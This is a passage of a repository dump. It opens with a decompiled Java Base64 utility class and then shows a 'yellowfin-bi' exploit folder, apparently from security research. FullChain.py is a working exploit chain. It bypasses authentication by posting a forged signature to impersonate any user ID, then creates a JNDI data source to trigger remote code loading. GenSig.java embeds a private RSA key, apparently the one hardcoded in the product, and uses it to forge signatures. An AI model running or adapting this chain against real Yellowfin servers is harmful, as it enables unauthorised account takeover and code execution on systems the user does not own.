boolean ENCODE = true; 138 | public static final boolean DECODE = false; 139 | private static final int B = 76; 140 | private static final byte F = 61; 141 | private static final byte G = 10; 142 | private static final byte[] E; 143 | private static final byte[] C; 144 | private static final byte H = -9; 145 | private static final byte A = -5; 146 | private static final byte D = -1; 147 | 148 | private Base64() { 149 | } 150 | 151 | private static byte[] C(final byte[] array) { 152 | return B(array, 3); 153 | } 154 | 155 | private static byte[] B(final byte[] array, final int n) { 156 | final byte[] array2 = new byte[4]; 157 | B(array, 0, n, array2, 0); 158 | return array2; 159 | } 160 | 161 | private static byte[] B(final byte[] array, final int n, final int n2, final byte[] array2, final int n3) { 162 | final int n4 = ((n2 > 0) ? (array[n] << 24 >>> 8) : 0) | ((n2 > 1) ? (array[n + 1] << 24 >>> 16) : 0) | ((n2 > 2) ? (array[n + 2] << 24 >>> 24) : 0); 163 | switch (n2) { 164 | case 3: { 165 | array2[n3] = Base64.E[n4 >>> 18]; 166 | array2[n3 + 1] = Base64.E[n4 >>> 12 & 0x3F]; 167 | array2[n3 + 2] = Base64.E[n4 >>> 6 & 0x3F]; 168 | array2[n3 + 3] = Base64.E[n4 & 0x3F]; 169 | return array2; 170 | } 171 | case 2: { 172 | array2[n3] = Base64.E[n4 >>> 18]; 173 | array2[n3 + 1] = Base64.E[n4 >>> 12 & 0x3F]; 174 | array2[n3 + 2] = Base64.E[n4 >>> 6 & 0x3F]; 175 | array2[n3 + 3] = 61; 176 | return array2; 177 | } 178 | case 1: { 179 | array2[n3] = Base64.E[n4 >>> 18]; 180 | array2[n3 + 1] = Base64.E[n4 >>> 12 & 0x3F]; 181 | array2[n3 + 3] = (array2[n3 + 2] = 61); 182 | return array2; 183 | } 184 | default: { 185 | return array2; 186 | } 187 | } 188 | } 189 | 190 | public static String encodeObject(final Serializable s) { 191 | return encodeObject(s, true); 192 | } 193 | 194 | public static String encodeObject(final Serializable obj, final boolean b) { 195 | ByteArrayOutputStream byteArrayOutputStream = null; 196 | java.io.OutputStream out = null; 197 | ObjectOutputStream objectOutputStream = null; 198 | try { 199 | byteArrayOutputStream = new ByteArrayOutputStream(); 200 | out = new OutputStream(byteArrayOutputStream, true, b); 201 | objectOutputStream = new ObjectOutputStream(out); 202 | objectOutputStream.writeObject(obj); 203 | } 204 | catch (IOException ex) { 205 | ex.printStackTrace(); 206 | return null; 207 | } 208 | finally { 209 | try { 210 | objectOutputStream.close(); 211 | } 212 | catch (Exception ex2) {} 213 | try { 214 | out.close(); 215 | } 216 | catch (Exception ex3) {} 217 | try { 218 | byteArrayOutputStream.close(); 219 | } 220 | catch (Exception ex4) {} 221 | } 222 | return new String(byteArrayOutputStream.toByteArray()); 223 | } 224 | 225 | public static String encodeBytes(final byte[] array) { 226 | return encodeBytes(array, true); 227 | } 228 | 229 | public static String encodeBytes(final byte[] array, final boolean b) { 230 | if (array == null) { 231 | return null; 232 | } 233 | return encodeBytes(array, 0, array.length, b); 234 | } 235 | 236 | public static String encodeBytes(final byte[] array, final int n, final int n2) { 237 | return encodeBytes(array, n, n2, true); 238 | } 239 | 240 | public static String encodeBytes(final byte[] array, final int n, final int n2, final boolean b) { 241 | final int n3 = n2 * 4 / 3; 242 | final byte[] bytes = new byte[n3 + ((n2 % 3 > 0) ? 4 : 0) + (b ? (n3 / 76) : 0)]; 243 | int i = 0; 244 | int length = 0; 245 | final int n4 = n2 - 2; 246 | int n5 = 0; 247 | while (i < n4) { 248 | B(array, i + n, 3, bytes, length); 249 | n5 += 4; 250 | if (b && n5 == 76) { 251 | bytes[length + 4] = 10; 252 | ++length; 253 | n5 = 0; 254 | } 255 | i += 3; 256 | length += 4; 257 | } 258 | if (i < n2) { 259 | B(array, i + n, n2 - i, bytes, length); 260 | length += 4; 261 | } 262 | return new String(bytes, 0, length); 263 | } 264 | 265 | @Deprecated 266 | public static String encodeString(final String s) { 267 | return encodeString(s, true); 268 | } 269 | 270 | public static String encodeStringUTF8(final String s) { 271 | return encodeStringUTF8(s, true); 272 | } 273 | 274 | @Deprecated 275 | public static String encodeString(final String s, final boolean b) { 276 | return encodeBytes(s.getBytes(), b); 277 | } 278 | 279 | public static String encodeStringUTF8(final String s, final boolean b) { 280 | byte[] bytes; 281 | try { 282 | bytes = s.getBytes("UTF-8"); 283 | } 284 | catch (Exception ex) { 285 | return null; 286 | } 287 | return encodeBytes(bytes, b); 288 | } 289 | 290 | public static byte[] readFile(final String pathname, final boolean b) { 291 | return readFile(new File(pathname), b); 292 | } 293 | 294 | public static byte[] readFile(final File file, final boolean b) { 295 | byte[] array = new byte[100]; 296 | Object o = null; 297 | int n = 0; 298 | InputStream inputStream = null; 299 | try { 300 | inputStream = new InputStream(new BufferedInputStream(new FileInputStream(file)), b); 301 | int read; 302 | while ((read = inputStream.read()) >= 0) { 303 | if (n >= array.length) { 304 | final byte[] array2 = new byte[array.length << 1]; 305 | System.arraycopy(array, 0, array2, 0, array.length); 306 | array = array2; 307 | } 308 | array[n++] = (byte)read; 309 | } 310 | o = new byte[n]; 311 | System.arraycopy(array, 0, o, 0, n); 312 | } 313 | catch (IOException ex) { 314 | o = null; 315 | } 316 | finally { 317 | try { 318 | inputStream.close(); 319 | } 320 | catch (Exception ex2) {} 321 | } 322 | return (byte[])o; 323 | } 324 | 325 | public static byte[] readFile(final java.io.InputStream in, final boolean b) { 326 | byte[] array = new byte[100]; 327 | Object o = null; 328 | int n = 0; 329 | InputStream inputStream = null; 330 | try { 331 | inputStream = new InputStream(new BufferedInputStream(in), b); 332 | int read; 333 | while ((read = inputStream.read()) >= 0) { 334 | if (n >= array.length) { 335 | final byte[] array2 = new byte[array.length << 1]; 336 | System.arraycopy(array, 0, array2, 0, array.length); 337 | array = array2; 338 | } 339 | array[n++] = (byte)read; 340 | } 341 | o = new byte[n]; 342 | System.arraycopy(array, 0, o, 0, n); 343 | } 344 | catch (IOException ex) { 345 | o = null; 346 | } 347 | finally { 348 | try { 349 | inputStream.close(); 350 | } 351 | catch (Exception ex2) {} 352 | } 353 | return (byte[])o; 354 | } 355 | 356 | public static boolean writeFile(final byte[] array, final String pathname, final boolean b) { 357 | return writeFile(array, 0, array.length, new File(pathname), b); 358 | } 359 | 360 | public static boolean writeFile(final byte[] array, final File file, final boolean b) { 361 | return writeFile(array, 0, array.length, file, b); 362 | } 363 | 364 | public static boolean writeFile(final byte[] array, final int n, final int n2, final File file, final boolean b) { 365 | OutputStream outputStream = null; 366 | boolean b2 = false; 367 | try { 368 | outputStream = new OutputStream(new BufferedOutputStream(new FileOutputStream(file)), b); 369 | outputStream.write(array, n, n2); 370 | b2 = true; 371 | } 372 | catch (IOException ex) { 373 | b2 = false; 374 | } 375 | finally { 376 | try { 377 | outputStream.close(); 378 | } 379 | catch (Exception ex2) {} 380 | } 381 | return b2; 382 | } 383 | 384 | public static String encodeFromFile(final String s) { 385 | final byte[] file = readFile(s, true); 386 | return (file == null) ? null : new String(file); 387 | } 388 | 389 | public static String encodeFromStream(final java.io.InputStream inputStream) { 390 | final byte[] file = readFile(inputStream, true); 391 | return (file == null) ? null : new String(file); 392 | } 393 | 394 | public static byte[] decodeFromFile(final String s) { 395 | return readFile(s, false); 396 | } 397 | 398 | public static boolean encodeToFile(final byte[] array, final String s) { 399 | return writeFile(array, s, true); 400 | } 401 | 402 | public static boolean decodeToFile(final byte[] array, final String s) { 403 | return writeFile(array, s, false); 404 | } 405 | 406 | private static byte[] B(final byte[] array) { 407 | final byte[] array2 = new byte[3]; 408 | final int a = A(array, 0, array2, 0); 409 | final byte[] array3 = new byte[a]; 410 | for (int i = 0; i < a; ++i) { 411 | array3[i] = array2[i]; 412 | } 413 | return array3; 414 | } 415 | 416 | private static int A(final byte[] array, final int n, final byte[] array2, final int n2) { 417 | if (array[n + 2] == 61) { 418 | array2[n2] = (byte)(((Base64.C[array[n]] & 0xFF) << 18 | (Base64.C[array[n + 1]] & 0xFF) << 12) >>> 16); 419 | return 1; 420 | } 421 | if (array[n + 3] == 61) { 422 | final int n3 = (Base64.C[array[n]] & 0xFF) << 18 | (Base64.C[array[n + 1]] & 0xFF) << 12 | (Base64.C[array[n + 2]] & 0xFF) << 6; 423 | array2[n2] = (byte)(n3 >>> 16); 424 | array2[n2 + 1] = (byte)(n3 >>> 8); 425 | return 2; 426 | } 427 | try { 428 | final int n4 = (Base64.C[array[n]] & 0xFF) << 18 | (Base64.C[array[n + 1]] & 0xFF) << 12 | (Base64.C[array[n + 2]] & 0xFF) << 6 | (Base64.C[array[n + 3]] & 0xFF); 429 | array2[n2] = (byte)(n4 >> 16); 430 | array2[n2 + 1] = (byte)(n4 >> 8); 431 | array2[n2 + 2] = (byte)n4; 432 | return 3; 433 | } 434 | catch (Exception ex) { 435 | System.out.println("" + array[n] + ": " + Base64.C[array[n]]); 436 | System.out.println("" + array[n + 1] + ": " + Base64.C[array[n + 1]]); 437 | System.out.println("" + array[n + 2] + ": " + Base64.C[array[n + 2]]); 438 | System.out.println("" + array[n + 3] + ": " + Base64.C[array[n + 3]]); 439 | return -1; 440 | } 441 | } 442 | 443 | public static byte[] decode(final String s) { 444 | final byte[] bytes = s.getBytes(); 445 | return decode(bytes, 0, bytes.length); 446 | } 447 | 448 | @Deprecated 449 | public static String decodeToString(final String s) { 450 | return new String(decode(s)); 451 | } 452 | 453 | public static String decodeToUTF8String(final String s) { 454 | try { 455 | return new String(decode(s), "UTF-8"); 456 | } 457 | catch (Exception ex) { 458 | return null; 459 | } 460 | } 461 | 462 | public static Object decodeToObject(final String s) { 463 | final byte[] decode = decode(s); 464 | java.io.InputStream in = null; 465 | ObjectInputStream objectInputStream = null; 466 | try { 467 | in = new ByteArrayInputStream(decode); 468 | objectInputStream = new ObjectInputStream(in); 469 | return objectInputStream.readObject(); 470 | } 471 | catch (IOException ex) { 472 | ex.printStackTrace(); 473 | return null; 474 | } 475 | catch (ClassNotFoundException ex2) { 476 | ex2.printStackTrace(); 477 | return null; 478 | } 479 | finally { 480 | try { 481 | ((ByteArrayInputStream)in).close(); 482 | } 483 | catch (Exception ex3) {} 484 | try { 485 | objectInputStream.close(); 486 | } 487 | catch (Exception ex4) {} 488 | } 489 | } 490 | 491 | public static byte[] decode(final byte[] array, final int n, final int n2) { 492 | final byte[] array2 = new byte[n2 * 3 / 4]; 493 | int n3 = 0; 494 | final byte[] array3 = new byte[4]; 495 | int n4 = 0; 496 | for (int i = 0; i < n2; ++i) { 497 | final byte b = (byte)(array[i] & 0x7F); 498 | final byte b2 = Base64.C[b]; 499 | if (b2 < -5) { 500 | System.err.println("Bad Base64 input character at " + i + ": " + array[i] + "(decimal)"); 501 | return null; 502 | } 503 | if (b2 >= -1) { 504 | array3[n4++] = b; 505 | if (n4 > 3) { 506 | n3 += A(array3, 0, array2, n3); 507 | n4 = 0; 508 | if (b == 61) { 509 | break; 510 | } 511 | } 512 | } 513 | } 514 | final byte[] array4 = new byte[n3]; 515 | System.arraycopy(array2, 0, array4, 0, n3); 516 | return array4; 517 | } 518 | 519 | static { 520 | E = new byte[] { 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43, 47 }; 521 | C = new byte[] { -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -5, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, -5, -9, -9, -9, -9, -9, -9, -9, -9, -9, -9, 62, -9, -9, -9, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -9, -9, -9, -1, -9, -9, -9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -9, -9, -9, -9, -9, -9, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -9, -9, -9, -9 }; 522 | } 523 | 524 | public static class InputStream extends FilterInputStream 525 | { 526 | private boolean E; 527 | private int B; 528 | private byte[] C; 529 | private int D; 530 | private int G; 531 | private int A; 532 | private boolean F; 533 | 534 | public InputStream(final java.io.InputStream inputStream) { 535 | this(inputStream, false); 536 | } 537 | 538 | public InputStream(final java.io.InputStream inputStream, final boolean b) { 539 | this(inputStream, b, true); 540 | } 541 | 542 | public InputStream(final java.io.InputStream in, final boolean e, final boolean f) { 543 | super(in); 544 | this.F = f; 545 | this.E = e; 546 | this.D = (e ? 4 : 3); 547 | this.C = new byte[this.D]; 548 | this.B = -1; 549 | this.A = 0; 550 | } 551 | 552 | @Override 553 | public int read() throws IOException { 554 | if (this.B < 0) { 555 | if (this.E) { 556 | final byte[] array = new byte[3]; 557 | int n = 0; 558 | for (int i = 0; i < 3; ++i) { 559 | try { 560 | final int read = this.in.read(); 561 | if (read >= 0) { 562 | array[i] = (byte)read; 563 | ++n; 564 | } 565 | } 566 | catch (IOException ex) { 567 | if (i == 0) { 568 | throw ex; 569 | } 570 | } 571 | } 572 | if (n <= 0) { 573 | return -1; 574 | } 575 | B(array, 0, n, this.C, 0); 576 | this.B = 0; 577 | this.G = 4; 578 | } 579 | else { 580 | final byte[] array2 = new byte[4]; 581 | int j; 582 | for (j = 0; j < 4; ++j) { 583 | int read2; 584 | do { 585 | read2 = this.in.read(); 586 | } while (read2 >= 0 && Base64.C[read2 & 0x7F] <= -5); 587 | if (read2 < 0) { 588 | break; 589 | } 590 | array2[j] = (byte)read2; 591 | } 592 | if (j == 4) { 593 | this.G = A(array2, 0, this.C, 0); 594 | this.B = 0; 595 | } 596 | else { 597 | if (j == 0) { 598 | return -1; 599 | } 600 | throw new IOException("Improperly padded Base64 input."); 601 | } 602 | } 603 | } 604 | if (this.B < 0) { 605 | throw new IOException("Error in Base64 code reading stream."); 606 | } 607 | if (this.B >= this.G) { 608 | return -1; 609 | } 610 | if (this.E && this.F && this.A >= 76) { 611 | this.A = 0; 612 | return 10; 613 | } 614 | ++this.A; 615 | final byte b = this.C[this.B++]; 616 | if (this.B >= this.D) { 617 | this.B = -1; 618 | } 619 | return b & 0xFF; 620 | } 621 | 622 | @Override 623 | public int read(final byte[] array, final int n, final int n2) throws IOException { 624 | int i = 0; 625 | while (i < n2) { 626 | final int read = this.read(); 627 | if (read >= 0) { 628 | array[n + i] = (byte)read; 629 | ++i; 630 | } 631 | else { 632 | if (i == 0) { 633 | return -1; 634 | } 635 | break; 636 | } 637 | } 638 | return i; 639 | } 640 | } 641 | 642 | public static class OutputStream extends FilterOutputStream 643 | { 644 | private boolean E; 645 | private int B; 646 | private byte[] C; 647 | private int D; 648 | private int A; 649 | private boolean F; 650 | 651 | public OutputStream(final java.io.OutputStream outputStream) { 652 | this(outputStream, true); 653 | } 654 | 655 | public OutputStream(final java.io.OutputStream outputStream, final boolean b) { 656 | this(outputStream, b, true); 657 | } 658 | 659 | public OutputStream(final java.io.OutputStream out, final boolean e, final boolean f) { 660 | super(out); 661 | this.F = f; 662 | this.E = e; 663 | this.D = (e ? 3 : 4); 664 | this.C = new byte[this.D]; 665 | this.B = 0; 666 | this.A = 0; 667 | } 668 | 669 | @Override 670 | public void write(final int n) throws IOException { 671 | if (this.E) { 672 | this.C[this.B++] = (byte)n; 673 | if (this.B >= this.D) { 674 | this.out.write(B(this.C, this.D)); 675 | this.A += 4; 676 | if (this.F && this.A >= 76) { 677 | this.out.write(10); 678 | this.A = 0; 679 | } 680 | this.B = 0; 681 | } 682 | } 683 | else if (Base64.C[n & 0x7F] > -5) { 684 | this.C[this.B++] = (byte)n; 685 | if (this.B >= this.D) { 686 | this.out.write(B(this.C)); 687 | this.B = 0; 688 | } 689 | } 690 | else if (Base64.C[n & 0x7F] != -5) { 691 | throw new IOException("Invalid character in Base64 data."); 692 | } 693 | } 694 | 695 | @Override 696 | public void write(final byte[] array, final int n, final int n2) throws IOException { 697 | for (int i = 0; i < n2; ++i) { 698 | this.write(array[n + i]); 699 | } 700 | } 701 | 702 | @Override 703 | public void flush() throws IOException { 704 | super.flush(); 705 | if (this.B > 0) { 706 | if (!this.E) { 707 | throw new IOException("Base64 input not properly padded."); 708 | } 709 | this.out.write(B(this.C, this.B)); 710 | this.B = 0; 711 | } 712 | this.out.flush(); 713 | } 714 | 715 | @Override 716 | public void close() throws IOException { 717 | super.close(); 718 | this.out.close(); 719 | this.C = null; 720 | this.out = null; 721 | } 722 | } 723 | } 724 | -------------------------------------------------------------------------------- /yellowfin-bi/FullChain.py: -------------------------------------------------------------------------------- 1 | import requests, os, uuid, json 2 | 3 | ID = os.sys.argv[1] 4 | url = os.sys.argv[2] 5 | jndi = os.sys.argv[3] 6 | 7 | s = requests.Session() 8 | s.get(url) 9 | 10 | def loginAs(ID): 11 | print(f"LOG: Attempting to Bypass Auth as User ID - {ID}") 12 | validSig = """FeHGWgaVoDHPbZYf0+I6BSAHBSacV/2MjbVtnaHLbnuW3cr0sLs2rwo1MWtZ1mtmNwjLLY1nXfZX+BL9FMwc4poix6WpEvQTGr0oxOmOQe82SF0/iJV8FRYNZPEJ8vVjuMh9c7zxo6A1zEqWRiTdWx5HFvF+saEIug6ujYIXx8jptzxMzkRn77FIx4McnPBLlfoodjkKXufrsK2JBOvqXjOsgJqv9SdZqcbm9LnQ4GolYGCHvsLZ9MTHFzIS37TNjRULVupdC92f+90Any6FvIYMsGiozp/c235+xPV68WNmLgLFsYyRR7RjN4oWq7yb+T5hIhlQnJr8CIej2eVq6w==""" 13 | s.post( 14 | url+"/StoryBody.i4", 15 | data = { 16 | "storyUUID": "PEWPEW", 17 | "ts": "XXD", 18 | "s":validSig, 19 | "action":"WHATEVER", 20 | "ipPerson":ID, 21 | "ipOrg":"1" 22 | } 23 | ) 24 | return True 25 | 26 | def triggerJNDI(jndi): 27 | print(f"LOG: Trigger JNDI Post Auth Exp - {jndi}") 28 | payload = { 29 | "restrictedSourceCreation": False, 30 | "displaySourceIcon": "connection_type_jndi", 31 | "sourceClassName": "com.hof.sources.JNDISourcePlatformImplementation", 32 | "enabledForTransformations": False, 33 | "connectionMethodCode": "JNDI", 34 | "displaySourceLongDescription": "", 35 | "customParameters": [ 36 | { 37 | "displayType": 4, 38 | "defaultValue": "", 39 | "displayName": "JNDI Datasource Name", 40 | "uniqueKey": "DATABASEURL", 41 | "disabled": False, 42 | "refreshOnChange": False, 43 | "value": jndi, 44 | "clearsAllParameters": False, 45 | "options": None 46 | } 47 | ], 48 | "userCanCreateView": True, 49 | "databaseTypeCode": "GENERICJDBC", 50 | "displaySourceName": "JNDI", 51 | "validationMessages": "", 52 | "sourceName": "PEW", 53 | "sourceDescription": "HACKED" 54 | } 55 | r=s.post( 56 | url+f"/CreateSimpleSourceAjax.i4;tab_token={uuid.uuid4()};m=1?REQUESTTOKEN=None", 57 | data = { 58 | "action":"save", 59 | "json": json.dumps(payload), 60 | "testConnection": "true", 61 | "importPredefinedContent":"" 62 | } 63 | ) 64 | print(r.json()) 65 | 66 | if __name__ == '__main__': 67 | print("LOG: Starting FullChain Exploit!!!") 68 | loginAs(ID) 69 | triggerJNDI(jndi) 70 | print("LOG: DONE") 71 | 72 | -------------------------------------------------------------------------------- /yellowfin-bi/GenSig.java: -------------------------------------------------------------------------------- 1 | import java.security.KeyFactory; 2 | import java.security.PrivateKey; 3 | import java.security.spec.PKCS8EncodedKeySpec; 4 | import java.util.Base64; 5 | import java.security.spec.InvalidKeySpecException; 6 | import java.security.NoSuchAlgorithmException; 7 | import java.security.Signature; 8 | import java.nio.charset.StandardCharsets; 9 | import java.security.InvalidKeyException; 10 | import java.security.SignatureException; 11 | 12 | 13 | class GenSig { 14 | static public String pkeyS = "MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCkrT8rnZrnjKYzruZG5eswBmR70+vsNpz2Q1N2wBwlUcptzz+5mQ4usamFS6DQpfKGhOhoaMtd+c+rwsFj/lkMeoKJ+cP1zxN0ED/lGcwSNE7GSpm/G3sdQHVBoVVTuALhFklQj+Vrr/ebiHKi6InAdWhHGH8yteqI9BzL7YjHrrL3oCoLWh+M8RokNOSe5/ID7/WRDfJ+TPAWS4Ba+A/lOxWhXJiclM7Masc0jXz0M3YtkfePuKo+/THuV2/UFC/WwwECf/0qs1fJFLYiOJVIFIxc1ZQuRRhzJOmb7gDmSsaX0vozMS8bJfFhf2mXYX9K+H4cioDK8ZonqxseTnndAgMBAAECggEBAI321MiS/CG1vOo9U0O3nkMun52omnBuvG4IqIFtKFZ75lk4G6Wy7ukOPCgvhJmbFjMljP3FqdyAKanXIcVEVhxN2Q99hJP6Srj58TteO/FNqsODOHvqAv66vNsxbE/aCJFnFxkelBd8AafRv5H1ihuim5z+31kmPuSGHfUn94y8CgmSrIkd9CWcbZElkFskGYdYUAI34TFcYNBkurvH55eFrlJa8qq/2i6Ym75JkONG9ahctscz5khp2PW+KtLl9CtQobZyAlmkVpfr+o+Jl94SisM2D4VWU3CSo2i/HKIlrfKYjYxyMnNSgUF9WSwpHsuTcJswpVyRmet+pguEC0ECgYEA2FxiDC96URd46noYlCyzcbYLiMPGucLf6laAA1ps3P57NLOLkldbXIIfl8Ya9GajLuYkADHkrZm0fyWEH4VaWATdnEz70Eym5H5NLJ4kbYWvhZnTTAURH0vNOQQyojcFD7By2+9n1Usu0vN0k7tokPI2+CSdHtOFXK+kUKc878kCgYEAwtjO96mRP7+NCHsuWbRd27xqmpdSbNya0oaYjaEK7N7p+Tva4S4PE3zgLS4QKDxB8vLZh7zlsmf31FyuJ+TgCSGKa/Q4Kpp32vRHCoT+Sm7f+r8N1TxqbMZr1ddmqut4t2tK6W+xwfeZbjbOGNmK2Oub4wtOSHNhlvjOzmgNS3UCgYEA0IbZiN0JiraQt4zNu6IJoQLPwxTNp6QGo5iS8KhqW+R5YqXZU0YWq+ZOBL3OpNd3V3BAKl/sAtUtfY3u9WJVXJfz7vzThkMaZwbD4sjYWyaJsL49Q/tuMTehp94/3tAgdKqfSRJIhO5dRruWE/yAH5MTH75KILfExTwTphhJRuECgYEAhQG9HqDY7vxSSMTVmhSesX4IA2lisb9RzH5mqt+Q9qsgaqsqOebYEcR/vzeffefMWQzf42HWJpgEPCncFI2PRYxo0lKO+L4jLQrtZ8frUmIncSJ0TeiE+aXlPL9ibTB6YjLSm1FMtYzQZsTwoVP3DSagbjdsg9aHeqhze8DZunUCgYBst5P8k/h2FWqBpq1+gununsPrCVwVSZG/DqKAlMO08Y/ikmDIB5sCtcMgDkky4rqf7dAcV0TeXki3hVQI0ri1WebFKFerKy4N/43+FMdTWo9o/umL+7ZZGmPbYYX97XtdLekRqWO3uUzsw6xCC9fWoCCZ6H2uVIFEMpuHWkYj/A=="; 15 | private static KeyFactory B; 16 | 17 | public static PrivateKey getPrivate(final byte[] encodedKey) throws InvalidKeySpecException { 18 | return GenSig.B.generatePrivate(new PKCS8EncodedKeySpec(encodedKey)); 19 | } 20 | public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException { 21 | GenSig.B = KeyFactory.getInstance("RSA"); 22 | String txt = "ASSETNOTE\nTEAM"; 23 | PrivateKey pew = GenSig.getPrivate(Base64.getDecoder().decode(pkeyS)); 24 | final byte[] bytes = txt.getBytes(StandardCharsets.UTF_8); 25 | final Signature instance = Signature.getInstance("SHA512withRSA"); 26 | instance.initSign(pew); 27 | instance.update(bytes); 28 | String out = new String(Base64.getEncoder().encode(instance.sign())); 29 | System.out.println(out); 30 | } 31 | 32 | } --------------------------------------------------------------------------------